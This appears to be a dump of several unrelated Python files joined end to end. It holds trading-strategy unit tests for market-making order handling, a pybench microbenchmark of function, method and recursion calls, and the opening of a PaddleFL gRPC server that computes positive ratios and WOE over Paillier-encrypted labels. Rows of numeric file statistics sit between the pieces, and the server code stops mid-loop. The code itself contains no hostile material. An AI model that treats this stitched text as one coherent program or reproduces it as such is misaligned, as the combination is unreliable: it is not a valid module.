bid_order: LimitOrder = strategy.active_bids[0][1]
ask_order: LimitOrder = strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
self.maker_order_fill_logger.clear()
def test_hanging_orders_multiple_orders_mode(self):
strategy = self.multi_orders_hanging_strategy
self.clock.add_iterator(strategy)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(5, len(strategy.active_bids))
self.assertEqual(5, len(strategy.active_asks))
ask_order: LimitOrder = strategy.active_asks[0][1]
PureMarketMakingV2UnitTest.simulate_limit_order_fill(self.maker_market, ask_order)
# Ask is filled and due to delay is not replenished immediately
# Bid orders are now hanging and active
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size)
self.assertEqual(1, len(self.maker_order_fill_logger.event_log))
self.assertEqual(5, len(strategy.active_bids))
self.assertEqual(4, len(strategy.active_asks))
self.assertEqual(5, len(strategy.hanging_order_ids))
# At order_refresh_time (4 seconds), hanging order remains, asks all got canceled
self.clock.backtest_til(self.start_timestamp + 5 * self.clock_tick_size)
self.assertEqual(5, len(strategy.active_bids))
self.assertEqual(0, len(strategy.active_asks))
# At filled_order_delay (8 seconds), new sets of bid and ask orders are created
self.clock.backtest_til(self.start_timestamp + 10 * self.clock_tick_size)
self.assertEqual(10, len(strategy.active_bids))
self.assertEqual(5, len(strategy.active_asks))
# Check all hanging order ids are indeed in active bids list
self.assertTrue(all(h in [order.client_order_id for market, order in strategy.active_bids]
for h in strategy.hanging_order_ids))
PureMarketMakingV2UnitTest.simulate_order_book_widening(self.maker_data.order_book, 100, 120)
# As order book asks moving higher, some hanging ask orders price spreads are now more than
# the hanging_orders_cancel_pct
self.clock.backtest_til(self.start_timestamp + 11 * self.clock_tick_size)
self.assertEqual(6, len(strategy.active_bids))
self.assertEqual(5, len(strategy.active_asks))
# Prices are not adjusted according to filled price as per settings
bid_order: LimitOrder = strategy.active_bids[0][1]
ask_order: LimitOrder = strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
self.maker_order_fill_logger.clear()
def test_replenish_delay_strategy(self):
strategy = self.replenish_delay_strategy
self.clock.add_iterator(strategy)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(1, len(strategy.active_bids))
self.assertEqual(1, len(strategy.active_asks))
ask_order: LimitOrder = strategy.active_asks[0][1]
# At 2nd second, simulate ask order filled
PureMarketMakingV2UnitTest.simulate_limit_order_fill(self.maker_market, ask_order)
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size)
# At cancel_wait_time, both bid and ask are canceled and not replenished immediately
self.clock.backtest_til(self.start_timestamp + 5 * self.clock_tick_size)
self.assertEqual(1, len(self.maker_order_fill_logger.event_log))
self.assertEqual(0, len(strategy.active_bids))
self.assertEqual(0, len(strategy.active_asks))
# New orders are placed after filled_order_delay
self.clock.backtest_til(self.start_timestamp + 10 * self.clock_tick_size)
self.assertEqual(1, len(strategy.active_bids))
self.assertEqual(1, len(strategy.active_asks))
# Prices are not adjusted according to filled price as per settings
bid_order: LimitOrder = strategy.active_bids[0][1]
ask_order: LimitOrder = strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
self.maker_order_fill_logger.clear()
def test_replenish_delay_multiple_orders_mode(self):
strategy = self.replenish_delay_multiple_strategy
self.clock.add_iterator(strategy)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(5, len(strategy.active_bids))
self.assertEqual(5, len(strategy.active_asks))
bid_order: LimitOrder = strategy.active_bids[0][1]
# At 2nd second, simulate bid order filled
PureMarketMakingV2UnitTest.simulate_limit_order_fill(self.maker_market, bid_order)
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size)
# Bid is filled and due to delay is not replenished immediately, all outstandings got canceled
self.clock.backtest_til(self.start_timestamp + 5 * self.clock_tick_size)
self.assertEqual(1, len(self.maker_order_fill_logger.event_log))
self.assertEqual(0, len(strategy.active_bids))
self.assertEqual(0, len(strategy.active_asks))
# New orders are placed after filled_order_delay
self.clock.backtest_til(self.start_timestamp + 10 * self.clock_tick_size)
self.assertEqual(5, len(strategy.active_bids))
self.assertEqual(5, len(strategy.active_asks))
self.maker_order_fill_logger.clear()
class PureMarketMakingV2InventorySkewUnitTest(unittest.TestCase):
start: pd.Timestamp = pd.Timestamp("2019-01-01", tz="UTC")
end: pd.Timestamp = pd.Timestamp("2019-01-01 01:00:00", tz="UTC")
start_timestamp: float = start.timestamp()
end_timestamp: float = end.timestamp()
maker_trading_pairs: List[str] = ["COINALPHA-WETH", "COINALPHA", "WETH"]
def setUp(self):
self.clock_tick_size = 1
self.clock: Clock = Clock(ClockMode.BACKTEST, self.clock_tick_size, self.start_timestamp, self.end_timestamp)
self.maker_market: BacktestMarket = BacktestMarket()
self.maker_data: MockOrderBookLoader = MockOrderBookLoader(*self.maker_trading_pairs)
self.mid_price = 100
self.bid_threshold = 0.01
self.ask_threshold = 0.01
self.order_refresh_time = 30
self.maker_data.set_balanced_order_book(mid_price=self.mid_price, min_price=1,
max_price=200, price_step_size=1, volume_step_size=10)
self.filter_delegate = PassThroughFilterDelegate()
self.constant_pricing_delegate = ConstantSpreadPricingDelegate(Decimal(self.bid_threshold),
Decimal(self.ask_threshold))
self.multiple_order_strategy_pricing_delegate = ConstantMultipleSpreadPricingDelegate(
bid_spread=Decimal(self.bid_threshold),
ask_spread=Decimal(self.ask_threshold),
order_level_spread=Decimal("0.01"),
order_levels=5
)
self.inventory_skew_single_size_sizing_delegate = InventorySkewSingleSizeSizingDelegate(
order_size=Decimal("1"),
inventory_target_base_percent=Decimal("0.9"),
inventory_range_multiplier=Decimal("5")
)
self.inventory_skew_multiple_size_sizing_delegate = InventorySkewMultipleSizeSizingDelegate(
order_start_size=Decimal("1.0"),
order_step_size=Decimal("0.5"),
order_levels=5,
inventory_target_base_percent=Decimal("0.9"),
inventory_range_multiplier=Decimal("0.5")
)
self.maker_market.add_data(self.maker_data)
self.maker_market.set_balance("COINALPHA", 500)
self.maker_market.set_balance("WETH", 5000)
self.maker_market.set_balance("QETH", 500)
self.maker_market.set_quantization_param(
QuantizationParams(
self.maker_trading_pairs[0], 6, 6, 6, 6
)
)
self.market_info: MarketTradingPairTuple = MarketTradingPairTuple(
*(
[self.maker_market] + self.maker_trading_pairs
)
)
logging_options: int = (PureMarketMakingStrategyV2.OPTION_LOG_ALL &
(~PureMarketMakingStrategyV2.OPTION_LOG_NULL_ORDER_SIZE))
self.inventory_skew_single_order_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filter_delegate=self.filter_delegate,
sizing_delegate=self.inventory_skew_single_size_sizing_delegate,
pricing_delegate=self.constant_pricing_delegate,
order_refresh_time=45,
filled_order_delay=0,
logging_options=logging_options
)
self.inventory_skew_single_order_strategy_delayed_fill: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filter_delegate=self.filter_delegate,
sizing_delegate=self.inventory_skew_single_size_sizing_delegate,
pricing_delegate=self.constant_pricing_delegate,
order_refresh_time=45,
filled_order_delay=15,
logging_options=logging_options
)
self.inventory_skew_multiple_order_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filter_delegate=self.filter_delegate,
sizing_delegate=self.inventory_skew_multiple_size_sizing_delegate,
pricing_delegate=self.multiple_order_strategy_pricing_delegate,
order_refresh_time=45,
logging_options=logging_options
)
self.logging_options = logging_options
self.clock.add_iterator(self.maker_market)
self.maker_order_fill_logger: EventLogger = EventLogger()
self.cancel_order_logger: EventLogger = EventLogger()
self.maker_market.add_listener(MarketEvent.OrderFilled, self.maker_order_fill_logger)
self.maker_market.add_listener(MarketEvent.OrderCancelled, self.cancel_order_logger)
def simulate_maker_market_trade(self, is_buy: bool, quantity: float):
maker_trading_pair: str = self.maker_trading_pairs[0]
order_book: OrderBook = self.maker_market.get_order_book(maker_trading_pair)
trade_event: OrderBookTradeEvent = OrderBookTradeEvent(
maker_trading_pair,
self.clock.current_timestamp,
TradeType.BUY if is_buy else TradeType.SELL,
(self.mid_price * (1 - self.bid_threshold - 0.01)
if not is_buy
else self.mid_price * (1 + self.ask_threshold + 0.01)),
quantity
)
order_book.apply_trade(trade_event)
def test_inventory_skew_single_order_strategy(self):
self.clock.add_iterator(self.inventory_skew_single_order_strategy)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(1, len(self.inventory_skew_single_order_strategy.active_bids))
self.assertEqual(1, len(self.inventory_skew_single_order_strategy.active_asks))
first_bid_order: LimitOrder = self.inventory_skew_single_order_strategy.active_bids[0][1]
first_ask_order: LimitOrder = self.inventory_skew_single_order_strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), first_bid_order.price)
self.assertEqual(Decimal("101"), first_ask_order.price)
self.assertEqual(Decimal("0.5"), first_bid_order.quantity)
self.assertEqual(Decimal("1.5"), first_ask_order.quantity)
self.simulate_maker_market_trade(True, 5.0)
self.assertEqual(1, len(self.inventory_skew_single_order_strategy.active_bids))
self.assertEqual(0, len(self.inventory_skew_single_order_strategy.active_asks))
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
self.assertEqual(1, len(self.maker_order_fill_logger.event_log))
maker_fill: OrderFilledEvent = self.maker_order_fill_logger.event_log[0]
self.assertEqual(TradeType.SELL, maker_fill.trade_type)
self.assertAlmostEqual(101, maker_fill.price)
self.assertAlmostEqual(Decimal("1.5"), Decimal(str(maker_fill.amount)), places=4)
self.clock.backtest_til(self.start_timestamp + 3 * self.clock_tick_size + 1)
self.assertEqual(1, len(self.inventory_skew_single_order_strategy.active_bids))
self.assertEqual(1, len(self.inventory_skew_single_order_strategy.active_asks))
first_bid_order: LimitOrder = self.inventory_skew_single_order_strategy.active_bids[0][1]
first_ask_order: LimitOrder = self.inventory_skew_single_order_strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), first_bid_order.price)
self.assertEqual(Decimal("101"), first_ask_order.price)
self.assertEqual(Decimal("0.651349"), first_bid_order.quantity)
self.assertEqual(Decimal("1.34865"), first_ask_order.quantity)
def test_inventory_skew_single_order_strategy_delayed_fill(self):
self.clock.add_iterator(self.inventory_skew_single_order_strategy_delayed_fill)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size + 1)
self.assertEqual(1, len(self.inventory_skew_single_order_strategy_delayed_fill.active_bids))
self.assertEqual(1, len(self.inventory_skew_single_order_strategy_delayed_fill.active_asks))
first_bid_order: LimitOrder = self.inventory_skew_single_order_strategy_delayed_fill.active_bids[0][1]
first_ask_order: LimitOrder = self.inventory_skew_single_order_strategy_delayed_fill.active_asks[0][1]
self.assertEqual(Decimal("99"), first_bid_order.price)
self.assertEqual(Decimal("101"), first_ask_order.price)
self.assertEqual(Decimal("0.5"), first_bid_order.quantity)
self.assertEqual(Decimal("1.5"), first_ask_order.quantity)
self.simulate_maker_market_trade(True, 5.0)
self.assertEqual(1, len(self.inventory_skew_single_order_strategy_delayed_fill.active_bids))
self.assertEqual(0, len(self.inventory_skew_single_order_strategy_delayed_fill.active_asks))
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
self.assertEqual(1, len(self.maker_order_fill_logger.event_log))
maker_fill: OrderFilledEvent = self.maker_order_fill_logger.event_log[0]
self.assertEqual(TradeType.SELL, maker_fill.trade_type)
self.assertAlmostEqual(101, maker_fill.price)
self.assertAlmostEqual(Decimal("1.5"), Decimal(str(maker_fill.amount)), places=4)
self.clock.backtest_til(self.start_timestamp + 3 * self.clock_tick_size + 1)
# Order is not replenished till replenish time
self.assertEqual(1, len(self.inventory_skew_single_order_strategy_delayed_fill.active_bids))
self.assertEqual(0, len(self.inventory_skew_single_order_strategy_delayed_fill.active_asks))
first_bid_order: LimitOrder = self.inventory_skew_single_order_strategy_delayed_fill.active_bids[0][1]
self.assertEqual(Decimal("99"), first_bid_order.price)
self.assertEqual(Decimal("0.5"), first_bid_order.quantity)
self.clock.backtest_til(self.start_timestamp + 60 * self.clock_tick_size + 1)
self.assertEqual(1, len(self.inventory_skew_single_order_strategy_delayed_fill.active_bids))
self.assertEqual(1, len(self.inventory_skew_single_order_strategy_delayed_fill.active_asks))
first_bid_order: LimitOrder = self.inventory_skew_single_order_strategy_delayed_fill.active_bids[0][1]
first_ask_order: LimitOrder = self.inventory_skew_single_order_strategy_delayed_fill.active_asks[0][1]
# Price does not change based on filled price
self.assertEqual(Decimal("99"), first_bid_order.price)
self.assertEqual(Decimal("101"), first_ask_order.price)
self.assertEqual(Decimal("0.651349"), first_bid_order.quantity)
self.assertEqual(Decimal("1.34865"), first_ask_order.quantity)
def test_inventory_skew_multiple_order_strategy(self):
self.clock.add_iterator(self.inventory_skew_multiple_order_strategy)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(5, len(self.inventory_skew_multiple_order_strategy.active_bids))
self.assertEqual(5, len(self.inventory_skew_multiple_order_strategy.active_asks))
first_bid_order: LimitOrder = self.inventory_skew_multiple_order_strategy.active_bids[0][1]
first_ask_order: LimitOrder = self.inventory_skew_multiple_order_strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), first_bid_order.price)
self.assertEqual(Decimal("101"), first_ask_order.price)
self.assertEqual(Decimal("0.5"), first_bid_order.quantity)
self.assertEqual(Decimal("1.5"), first_ask_order.quantity)
last_bid_order: LimitOrder = self.inventory_skew_multiple_order_strategy.active_bids[-1][1]
last_ask_order: LimitOrder = self.inventory_skew_multiple_order_strategy.active_asks[-1][1]
last_bid_price = Decimal(99 * (1 - 0.01) ** 4).quantize(Decimal("0.001"))
last_ask_price = Decimal(101 * (1 + 0.01) ** 4).quantize(Decimal("0.001"))
self.assertAlmostEqual(last_bid_price, last_bid_order.price, 3)
self.assertAlmostEqual(last_ask_price, last_ask_order.price, 3)
self.assertEqual(Decimal("1.5"), last_bid_order.quantity)
self.assertEqual(Decimal("4.5"), last_ask_order.quantity)
self.simulate_maker_market_trade(True, 5.0)
self.assertEqual(5, len(self.inventory_skew_multiple_order_strategy.active_bids))
self.assertEqual(4, len(self.inventory_skew_multiple_order_strategy.active_asks))
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
self.assertEqual(1, len(self.maker_order_fill_logger.event_log))
maker_fill: OrderFilledEvent = self.maker_order_fill_logger.event_log[0]
self.assertEqual(TradeType.SELL, maker_fill.trade_type)
self.assertAlmostEqual(101, maker_fill.price)
self.assertAlmostEqual(Decimal("1.5"), Decimal(str(maker_fill.amount)), places=4)
# The default filled_order_delay is 60, so gotta wait 60 + 2 here.
self.clock.backtest_til(self.start_timestamp + 62 * self.clock_tick_size + 1)
self.assertEqual(5, len(self.inventory_skew_multiple_order_strategy.active_bids))
self.assertEqual(5, len(self.inventory_skew_multiple_order_strategy.active_asks))
first_bid_order: LimitOrder = self.inventory_skew_multiple_order_strategy.active_bids[0][1]
first_ask_order: LimitOrder = self.inventory_skew_multiple_order_strategy.active_asks[0][1]
last_bid_order: LimitOrder = self.inventory_skew_multiple_order_strategy.active_bids[-1][1]
last_ask_order: LimitOrder = self.inventory_skew_multiple_order_strategy.active_asks[-1][1]
self.assertEqual(Decimal("99"), first_bid_order.price)
self.assertEqual(Decimal("101"), first_ask_order.price)
self.assertEqual(Decimal("0.651349"), first_bid_order.quantity)
self.assertEqual(Decimal("1.34865"), first_ask_order.quantity)
last_bid_price = Decimal(99 * (1 - 0.01) ** 4).quantize(Decimal("0.001"))
last_ask_price = Decimal(101 * (1 + 0.01) ** 4).quantize(Decimal("0.001"))
self.assertAlmostEqual(last_bid_price, last_bid_order.price, 3)
self.assertAlmostEqual(last_ask_price, last_ask_order.price, 3)
self.assertEqual(Decimal("1.95404"), last_bid_order.quantity)
self.assertEqual(Decimal("4.04595"), last_ask_order.quantity)
| 52.878808 | 120 | 0.707588 | 9,857 | 78,102 | 5.285381 | 0.040885 | 0.086952 | 0.054474 | 0.026757 | 0.905294 | 0.886809 | 0.87274 | 0.850589 | 0.840858 | 0.827172 | 0 | 0.024684 | 0.198074 | 78,102 | 1,476 | 121 | 52.914634 | 0.807127 | 0.037259 | 0 | 0.721193 | 0 | 0 | 0.014319 | 0 | 0 | 0 | 0 | 0 | 0.270749 | 1 | 0.036261 | false | 0.004835 | 0.019339 | 0.002417 | 0.074134 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
82e7a9137be31e07c008d347548e79e64b7d0c91 | 7,076 | py | Python | pypy/translator/microbench/pybench/Calls.py | camillobruni/pygirl | ddbd442d53061d6ff4af831c1eab153bcc771b5a | [
"MIT"
] | 12 | 2016-01-06T07:10:28.000Z | 2021-05-13T23:02:02.000Z | pypy/translator/microbench/pybench/Calls.py | woodrow/pyoac | b5dc59e6a38e7912db47f26fb23ffa4764a3c0e7 | [
"MIT"
] | null | null | null | pypy/translator/microbench/pybench/Calls.py | woodrow/pyoac | b5dc59e6a38e7912db47f26fb23ffa4764a3c0e7 | [
"MIT"
] | 2 | 2016-07-29T07:09:50.000Z | 2016-10-16T08:50:26.000Z | from pybench import Test
class PythonFunctionCalls(Test):
version = 0.3
operations = 5*(1+4+4+2)
rounds = 60000
def test(self):
global f,f1,g,h
# define functions
def f():
pass
def f1(x):
pass
def g(a,b,c):
return a,b,c
def h(a,b,c,d=1,e=2,f=3):
return d,e,f
# do calls
for i in xrange(self.rounds):
f()
f1(i)
f1(i)
f1(i)
f1(i)
g(i,i,i)
g(i,i,i)
g(i,i,i)
g(i,i,i)
h(i,i,3,i,i)
h(i,i,i,2,i,3)
f()
f1(i)
f1(i)
f1(i)
f1(i)
g(i,i,i)
g(i,i,i)
g(i,i,i)
g(i,i,i)
h(i,i,3,i,i)
h(i,i,i,2,i,3)
f()
f1(i)
f1(i)
f1(i)
f1(i)
g(i,i,i)
g(i,i,i)
g(i,i,i)
g(i,i,i)
h(i,i,3,i,i)
h(i,i,i,2,i,3)
f()
f1(i)
f1(i)
f1(i)
f1(i)
g(i,i,i)
g(i,i,i)
g(i,i,i)
g(i,i,i)
h(i,i,3,i,i)
h(i,i,i,2,i,3)
f()
f1(i)
f1(i)
f1(i)
f1(i)
g(i,i,i)
g(i,i,i)
g(i,i,i)
g(i,i,i)
h(i,i,3,i,i)
h(i,i,i,2,i,3)
def calibrate(self):
global f,f1,g,h
# define functions
def f():
pass
def f1(x):
pass
def g(a,b,c):
return a,b,c
def h(a,b,c,d=1,e=2,f=3):
return d,e,f
# do calls
for i in xrange(self.rounds):
pass
###
class BuiltinFunctionCalls(Test):
version = 0.4
operations = 5*(2+5+5+5)
rounds = 30000
def test(self):
# localize functions
f0 = globals
f1 = hash
f2 = cmp
f3 = range
# do calls
for i in xrange(self.rounds):
f0()
f0()
f1(i)
f1(i)
f1(i)
f1(i)
f1(i)
f2(1,2)
f2(1,2)
f2(1,2)
f2(1,2)
f2(1,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f0()
f0()
f1(i)
f1(i)
f1(i)
f1(i)
f1(i)
f2(1,2)
f2(1,2)
f2(1,2)
f2(1,2)
f2(1,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f0()
f0()
f1(i)
f1(i)
f1(i)
f1(i)
f1(i)
f2(1,2)
f2(1,2)
f2(1,2)
f2(1,2)
f2(1,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f0()
f0()
f1(i)
f1(i)
f1(i)
f1(i)
f1(i)
f2(1,2)
f2(1,2)
f2(1,2)
f2(1,2)
f2(1,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f0()
f0()
f1(i)
f1(i)
f1(i)
f1(i)
f1(i)
f2(1,2)
f2(1,2)
f2(1,2)
f2(1,2)
f2(1,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
f3(1,3,2)
def calibrate(self):
# localize functions
f0 = dir
f1 = hash
f2 = range
f3 = range
# do calls
for i in xrange(self.rounds):
pass
###
class PythonMethodCalls(Test):
version = 0.3
operations = 5*(6 + 5 + 4)
rounds = 20000
def test(self):
class c:
x = 2
s = 'string'
def f(self):
return self.x
def j(self,a,b):
self.y = a
self.t = b
return self.y
def k(self,a,b,c=3):
self.y = a
self.s = b
self.t = c
o = c()
for i in xrange(self.rounds):
o.f()
o.f()
o.f()
o.f()
o.f()
o.f()
o.j(i,i)
o.j(i,i)
o.j(i,2)
o.j(i,2)
o.j(2,2)
o.k(i,i)
o.k(i,2)
o.k(i,2,3)
o.k(i,i,c=4)
o.f()
o.f()
o.f()
o.f()
o.f()
o.f()
o.j(i,i)
o.j(i,i)
o.j(i,2)
o.j(i,2)
o.j(2,2)
o.k(i,i)
o.k(i,2)
o.k(i,2,3)
o.k(i,i,c=4)
o.f()
o.f()
o.f()
o.f()
o.f()
o.f()
o.j(i,i)
o.j(i,i)
o.j(i,2)
o.j(i,2)
o.j(2,2)
o.k(i,i)
o.k(i,2)
o.k(i,2,3)
o.k(i,i,c=4)
o.f()
o.f()
o.f()
o.f()
o.f()
o.f()
o.j(i,i)
o.j(i,i)
o.j(i,2)
o.j(i,2)
o.j(2,2)
o.k(i,i)
o.k(i,2)
o.k(i,2,3)
o.k(i,i,c=4)
o.f()
o.f()
o.f()
o.f()
o.f()
o.f()
o.j(i,i)
o.j(i,i)
o.j(i,2)
o.j(i,2)
o.j(2,2)
o.k(i,i)
o.k(i,2)
o.k(i,2,3)
o.k(i,i,c=4)
def calibrate(self):
class c:
x = 2
s = 'string'
def f(self):
return self.x
def j(self,a,b):
self.y = a
self.t = b
def k(self,a,b,c=3):
self.y = a
self.s = b
self.t = c
o = c
for i in xrange(self.rounds):
pass
###
class Recursion(Test):
version = 0.3
operations = 5
rounds = 50000
def test(self):
global f
def f(x):
if x > 1:
return f(x-1)
return 1
for i in xrange(self.rounds):
f(10)
f(10)
f(10)
f(10)
f(10)
def calibrate(self):
global f
def f(x):
if x > 0:
return f(x-1)
return 1
for i in xrange(self.rounds):
pass
| 17.216545 | 37 | 0.266535 | 1,038 | 7,076 | 1.816956 | 0.06262 | 0.084836 | 0.092789 | 0.111347 | 0.840403 | 0.820255 | 0.782078 | 0.779958 | 0.747084 | 0.747084 | 0 | 0.126731 | 0.59186 | 7,076 | 410 | 38 | 17.258537 | 0.526316 | 0.015122 | 0 | 0.928125 | 0 | 0 | 0.001727 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.075 | false | 0.025 | 0.003125 | 0.01875 | 0.16875 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
7d9fb42eb122b1b65c817f8cc8ed752e5fffdcdb | 32,327 | py | Python | python/paddle_fl/feature_engineering/core/metrics_server.py | HyphenSun/PaddleFL | 08bfddb9160f9595b9ad9fb8563e16e39860e1ac | [
"Apache-2.0"
] | null | null | null | python/paddle_fl/feature_engineering/core/metrics_server.py | HyphenSun/PaddleFL | 08bfddb9160f9595b9ad9fb8563e16e39860e1ac | [
"Apache-2.0"
] | null | null | null | python/paddle_fl/feature_engineering/core/metrics_server.py | HyphenSun/PaddleFL | 08bfddb9160f9595b9ad9fb8563e16e39860e1ac | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License
"""
metrics servicer implementation
server-side(bob)
"""
from concurrent import futures
import logging
import random
import numpy as np
import pandas as pd
import grpc
import he_utils as hu
from ..proto import metrics_pb2
from ..proto import metrics_pb2_grpc
logging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
class MpcPositiveRatioServicer(metrics_pb2_grpc.MpcPositiveRatioServicer):
"""
Positive ratio servicer implementation
"""
def __init__(self, features, stop_event):
"""
load feature to server
prams:
features: a feature list in the shape of (sample_size, features_size)
e.g. [[4, 3, 1], [1, 2, 5],...,[2, 3 ,2]] (feature_size = 3)
stop_event: control the server shutdown when the server does not
participate in the protocol
"""
self._sample_size = len(features)
self._features = features
self._feature_size = len(features[0])
self._stop_event = stop_event
logger.info('feature size: {0}, sample size: {1}'.format(
self._feature_size, self._sample_size))
def SyncSampleSize(self, request, context):
"""
client sync sample size and feature size with server
"""
logger.info('received client\'s sample size: {}'.format(request.sample_size))
if request.sample_size == self._sample_size:
return metrics_pb2.Sample(sample_size = self._sample_size,
feature_size = self._feature_size)
else:
return metrics_pb2.Sample(sample_size = -1, feature_size = 0)
def SendPubkey(self, request, context):
"""
client send pubkey to server
"""
paillier = hu.Paillier()
paillier.import_pk(request.pk)
self._paillier = paillier
logger.info('received pub key')
return metrics_pb2.Status(code = 1)
def GetLabelsSum(self, request, context):
"""
client get labels sum from server
"""
batch_size = request.sample_size
if (self._sample_size != batch_size):
raise ValueError("sample size not equal")
logger.info('decoding labels')
self._enc_labels = self._paillier.batch_decode(request.labels)
all_pos_sum = []
all_neg_sum = []
logger.info('calculating labels sum:')
for feature_idx in range(self._feature_size):
logger.info('processing feature idx {}'.format(feature_idx))
pos_sum = {}
neg_sum = {}
feature_bin = {}
for sample_index in range(self._sample_size):
feature_value = self._features[sample_index][feature_idx]
if(feature_value in feature_bin):
pos_sum[feature_value] = self._paillier.homm_add(pos_sum[feature_value],
self._enc_labels[sample_index])
feature_bin[feature_value] += 1
else:
pos_sum[feature_value] = self._enc_labels[sample_index]
feature_bin[feature_value] = 1
# cal neg sum
for key, value in pos_sum.items():
bin_size_cipher = self._paillier.encrypt_int64_t(feature_bin[key])
neg_sum[key] = self._paillier.homm_minus(bin_size_cipher, value)
#Blind using random numbers N/8 bits
for key in pos_sum.keys():
blind_r = self._paillier.get_random_bits(self._paillier.byte_len(0))
pos_sum[key] = self._paillier.homm_mult(pos_sum[key], blind_r)
pos_sum[key] = self._paillier.encode_cipher_bytes(pos_sum[key])
neg_sum[key] = self._paillier.homm_mult(neg_sum[key], blind_r)
neg_sum[key] = self._paillier.encode_cipher_bytes(neg_sum[key])
all_pos_sum.append(pos_sum)
all_neg_sum.append(neg_sum)
feature_labels_sum = metrics_pb2.FeatureLabelsSum(feature_size = self._feature_size,
labels = [])
for feature_idx in range(self._feature_size):
bin_labels_sum = metrics_pb2.BinLabelsSum(bins_size = len(all_pos_sum[feature_idx]),
positive_sum = all_pos_sum[feature_idx],
negative_sum = all_neg_sum[feature_idx])
feature_labels_sum.labels.append(bin_labels_sum)
self._stop_event.set()
logger.info('sending labels sum')
return feature_labels_sum
class MpcWOEServicer(metrics_pb2_grpc.MpcWOEServicer):
"""
woe servicer implementation
"""
def __init__(self, features, stop_event, woe_list):
"""
load feature to server
prams:
features: a feature list in the shape of (sample_size, features_size)
e.g. [[4, 3, 1], [1, 2, 5],...,[2, 3 ,2]] (feature_size = 3)
stop_event: control the server shutdown when the server does not
participate in the protocol
woe_list: server store the result in woe_list
"""
self._sample_size = len(features)
self._features = features
self._feature_size = len(features[0])
self._stop_event = stop_event
self._woe_list = woe_list
logger.info('feature size: {0}, sample size: {1}'.format(
self._feature_size, self._sample_size))
def SyncSampleSize(self, request, context):
"""
client sync sample size and feature size with server
"""
logger.info('received client\'s sample size: {}'.format(request.sample_size))
if request.sample_size == self._sample_size:
return metrics_pb2.Sample(sample_size = self._sample_size,
feature_size = self._feature_size)
else:
return metrics_pb2.Sample(sample_size = -1, feature_size = 0)
def SendPubkey(self, request, context):
"""
client send pubkey to server
"""
paillier = hu.Paillier()
paillier.import_pk(request.pk)
self._paillier = paillier
logger.info('received pub key')
return metrics_pb2.Status(code = 1)
def GetLabelsSum(self, request, context):
"""
client get labels sum from server
"""
batch_size = request.sample_size
if (self._sample_size != batch_size):
raise ValueError("sample size not equal")
logger.info('decoding labels')
self._enc_labels = self._paillier.batch_decode(request.labels)
all_pos_sum = []
all_neg_sum = []
logger.info('calculating labels sum:')
for feature_idx in range(self._feature_size):
logger.info('processing feature idx {}'.format(feature_idx))
pos_sum = {}
neg_sum = {}
feature_bin = {}
for sample_index in range(self._sample_size):
feature_value = self._features[sample_index][feature_idx]
if(feature_value in feature_bin):
pos_sum[feature_value] = self._paillier.homm_add(pos_sum[feature_value],
self._enc_labels[sample_index])
feature_bin[feature_value] += 1
else:
